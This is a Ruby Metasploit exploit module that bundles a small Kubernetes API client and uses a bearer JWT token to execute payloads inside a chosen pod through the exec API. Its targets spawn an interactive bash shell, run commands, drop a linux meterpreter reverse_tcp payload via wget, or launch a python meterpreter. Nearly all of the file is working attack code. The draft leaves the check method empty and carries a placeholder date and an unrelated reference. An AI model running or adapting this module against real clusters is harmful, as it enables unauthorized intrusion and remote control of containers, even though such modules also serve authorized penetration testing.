371 lines
9.7 KiB
Ruby
371 lines
9.7 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
module Kubernetes
|
|
module Error
|
|
class ApiError < ::StandardError
|
|
end
|
|
|
|
class AuthenticationError < ApiError
|
|
end
|
|
|
|
class UnexpectedStatusCode < ApiError
|
|
attr_reader :status_code
|
|
|
|
def initialize(status_code)
|
|
super
|
|
@status_code = status_code
|
|
end
|
|
end
|
|
end
|
|
|
|
class Client
|
|
USER_AGENT = 'kubectl/v1.22.2 (linux/amd64) kubernetes/8b5a191'.freeze
|
|
|
|
class ExecChannel < Rex::Proto::Http::WebSocket::Interface::Channel
|
|
attr_reader :error
|
|
|
|
def initialize(websocket)
|
|
@error = {}
|
|
|
|
super(websocket, write_type: :text)
|
|
end
|
|
|
|
def on_data_read(data, _data_type)
|
|
return data if data.blank?
|
|
|
|
exec_channel = data[0].ord
|
|
data = data[1..-1]
|
|
case exec_channel
|
|
when EXEC_CHANNEL_STDOUT
|
|
return data
|
|
when EXEC_CHANNEL_STDERR
|
|
return data
|
|
when EXEC_CHANNEL_ERROR
|
|
@error = JSON(data)
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def on_data_write(data)
|
|
EXEC_CHANNEL_STDIN.chr + data
|
|
end
|
|
end
|
|
|
|
def initialize(config)
|
|
@http_client = config.fetch(:http_client)
|
|
@token = config[:token]
|
|
end
|
|
|
|
def exec_pod(name, namespace, command, options = {})
|
|
options = {
|
|
'stdin' => false,
|
|
'stdout' => true,
|
|
'stderr' => true,
|
|
'tty' => false
|
|
}.merge(options)
|
|
|
|
# while kubectl uses SPDY/3.1, the Python client uses WebSockets over HTTP/1.1
|
|
# see: https://github.com/kubernetes/kubernetes/issues/7452
|
|
websocket = http_client.connect_ws(
|
|
request_options(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods/#{name}/exec"),
|
|
'query' => build_query_string({
|
|
'command' => command,
|
|
'stdin' => !!options.delete('stdin'),
|
|
'stdout' => !!options.delete('stdout'),
|
|
'stderr' => !!options.delete('stderr'),
|
|
'tty' => !!options.delete('tty')
|
|
}),
|
|
'headers' => {
|
|
'Sec-Websocket-Protocol' => 'v4.channel.k8s.io'
|
|
}
|
|
},
|
|
options
|
|
)
|
|
)
|
|
|
|
websocket
|
|
end
|
|
|
|
def exec_pod_capture(name, namespace, command, options = {}, &block)
|
|
websocket = exec_pod(name, namespace, command, options)
|
|
|
|
result = { error: {}, stdout: '', stderr: '' }
|
|
websocket.wsloop do |channel_data, _data_type|
|
|
next if channel_data.blank?
|
|
|
|
channel = channel_data[0].ord
|
|
channel_data = channel_data[1..-1]
|
|
case channel
|
|
when EXEC_CHANNEL_STDOUT
|
|
result[:stdout] << channel_data
|
|
block.call(channel_data, nil) if block_given?
|
|
when EXEC_CHANNEL_STDERR
|
|
result[:stderr] << channel_data
|
|
block.call(nil, channel_data) if block_given?
|
|
when EXEC_CHANNEL_ERROR
|
|
result[:error] = JSON(channel_data)
|
|
end
|
|
end
|
|
|
|
result
|
|
end
|
|
|
|
def list_namespace(options = {})
|
|
_res, json = call_api(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => http_client.normalize_uri('/api/v1/namespaces')
|
|
},
|
|
options
|
|
)
|
|
|
|
json
|
|
end
|
|
|
|
def list_pod(namespace, options = {})
|
|
_res, json = call_api(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods")
|
|
},
|
|
options
|
|
)
|
|
|
|
json
|
|
end
|
|
|
|
def create_pod(data, namespace, options = {})
|
|
res, json = call_api(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods"),
|
|
'data' => JSON.pretty_generate(data)
|
|
},
|
|
options
|
|
)
|
|
|
|
if res.code != 201
|
|
raise Kubernetes::Error::UnexpectedStatusCode, res.code
|
|
end
|
|
|
|
json
|
|
end
|
|
|
|
def delete_pod(name, namespace, options = {})
|
|
_res, json = call_api(
|
|
{
|
|
'method' => 'DELETE',
|
|
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods/#{name}"),
|
|
'headers' => {}
|
|
},
|
|
options
|
|
)
|
|
|
|
json
|
|
end
|
|
|
|
private
|
|
|
|
EXEC_CHANNEL_STDIN = 0
|
|
EXEC_CHANNEL_STDOUT = 1
|
|
EXEC_CHANNEL_STDERR = 2
|
|
EXEC_CHANNEL_ERROR = 3
|
|
EXEC_CHANNEL_RESIZE = 4
|
|
|
|
attr_reader :http_client
|
|
|
|
def build_query_string(query_vars)
|
|
qary = []
|
|
query_vars.each_pair do |key, val|
|
|
key = key.to_s
|
|
|
|
key = Rex::Text.uri_encode(key)
|
|
if val.is_a? Array
|
|
qary += val.map { |subval| "#{key}=#{Rex::Text.uri_encode(subval.to_s)}" }
|
|
else
|
|
qary << "#{key}=#{Rex::Text.uri_encode(val.to_s)}"
|
|
end
|
|
end
|
|
|
|
qary.join('&')
|
|
end
|
|
|
|
# TODO: Support receiving data directly as a table?
|
|
# Accept: application/json;as=Table;g=meta.k8s.io;v=v1beta1
|
|
# https://kubernetes.io/docs/reference/using-api/api-concepts/#receiving-resources-as-tables
|
|
def call_api(request, options = {})
|
|
res = http_client.send_request_raw(request_options(request, options))
|
|
|
|
if res.nil? || res.body.empty?
|
|
raise Kubernetes::Error::ApiError
|
|
elsif res.code == 401
|
|
raise Kubernetes::Error::AuthenticationError
|
|
end
|
|
|
|
json = res.get_json_document
|
|
if json.nil?
|
|
raise Kubernetes::Error::ApiError
|
|
end
|
|
|
|
[res, json.deep_symbolize_keys]
|
|
end
|
|
|
|
def request_options(request, options = {})
|
|
token = options.fetch(:token, @token)
|
|
|
|
request.merge(
|
|
{
|
|
'agent' => USER_AGENT,
|
|
'headers' => request.fetch('headers', {}).merge(
|
|
{
|
|
'Authorization' => "Bearer #{token}"
|
|
}
|
|
)
|
|
}
|
|
)
|
|
end
|
|
end
|
|
end
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Auxiliary::CommandShell
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Kubernetes exec',
|
|
'Description' => %q{
|
|
Execute a payload within a Kubernetes pod.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'adfoster-r7',
|
|
'Spencer McIntyre'
|
|
],
|
|
'References' => [
|
|
# ['URL', 'https://www.pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/']
|
|
],
|
|
'Notes' => {
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'Stability' => [ ]
|
|
},
|
|
'DefaultOptions' => {
|
|
'RPORT' => 8443,
|
|
'SSL' => true
|
|
},
|
|
'Targets' => [
|
|
[ 'WebSocket Stream',
|
|
{
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => 'unix',
|
|
'Type' => :nix_stream,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/interact',
|
|
},
|
|
'Payload' => {
|
|
'Compat' => {
|
|
'PayloadType' => 'cmd_interact',
|
|
'ConnectionType' => 'find'
|
|
}
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => 'unix',
|
|
'Type' => :nix_cmd
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Platform' => 'linux',
|
|
'Type' => :nix_dropper,
|
|
'DefaultOptions' => {
|
|
'CMDSTAGER::FLAVOR' => 'wget',
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Python',
|
|
{
|
|
'Arch' => [ARCH_PYTHON],
|
|
'Platform' => 'python',
|
|
'Type' => :python,
|
|
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => '2000-01-01', # FIXME: find an actual disclosure date
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('JwtToken', [ true, 'The JWT token' ]),
|
|
OptString.new('Pod', [ true, 'The pod name to execute in' ]),
|
|
OptString.new('Namespace', [true, 'The Kubernetes namespace', 'default' ])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
# For the check command
|
|
end
|
|
|
|
def exploit
|
|
@kubernetes_client = Kubernetes::Client.new({ http_client: self, token: datastore['JwtToken'] })
|
|
|
|
case target['Type']
|
|
when :nix_stream
|
|
# Setting tty => true allows the shell prompt to be seen but it also causes commands to be echoed back
|
|
websocket = @kubernetes_client.exec_pod(datastore['Pod'], datastore['Namespace'], 'bash', 'stdin' => true, 'tty' => true)
|
|
channel = Kubernetes::Client::ExecChannel.new(websocket)
|
|
handler(channel.lsock)
|
|
when :nix_cmd
|
|
execute_command(payload.encoded)
|
|
when :nix_dropper
|
|
execute_cmdstager
|
|
else
|
|
execute_command(payload.encoded)
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
case target['Platform']
|
|
when 'python'
|
|
command = ['sh', '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"]
|
|
else
|
|
command = ['sh', '-c', cmd]
|
|
end
|
|
|
|
result = @kubernetes_client.exec_pod_capture(datastore['Pod'], datastore['Namespace'], command) do |stdout, stderr|
|
|
print_status("STDOUT: #{stdout.strip}") unless stdout.blank?
|
|
print_error("STDERR: #{stderr.strip}") unless stderr.blank?
|
|
end
|
|
|
|
status = result&.dig(:error, 'status')
|
|
fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
|
|
end
|
|
end
|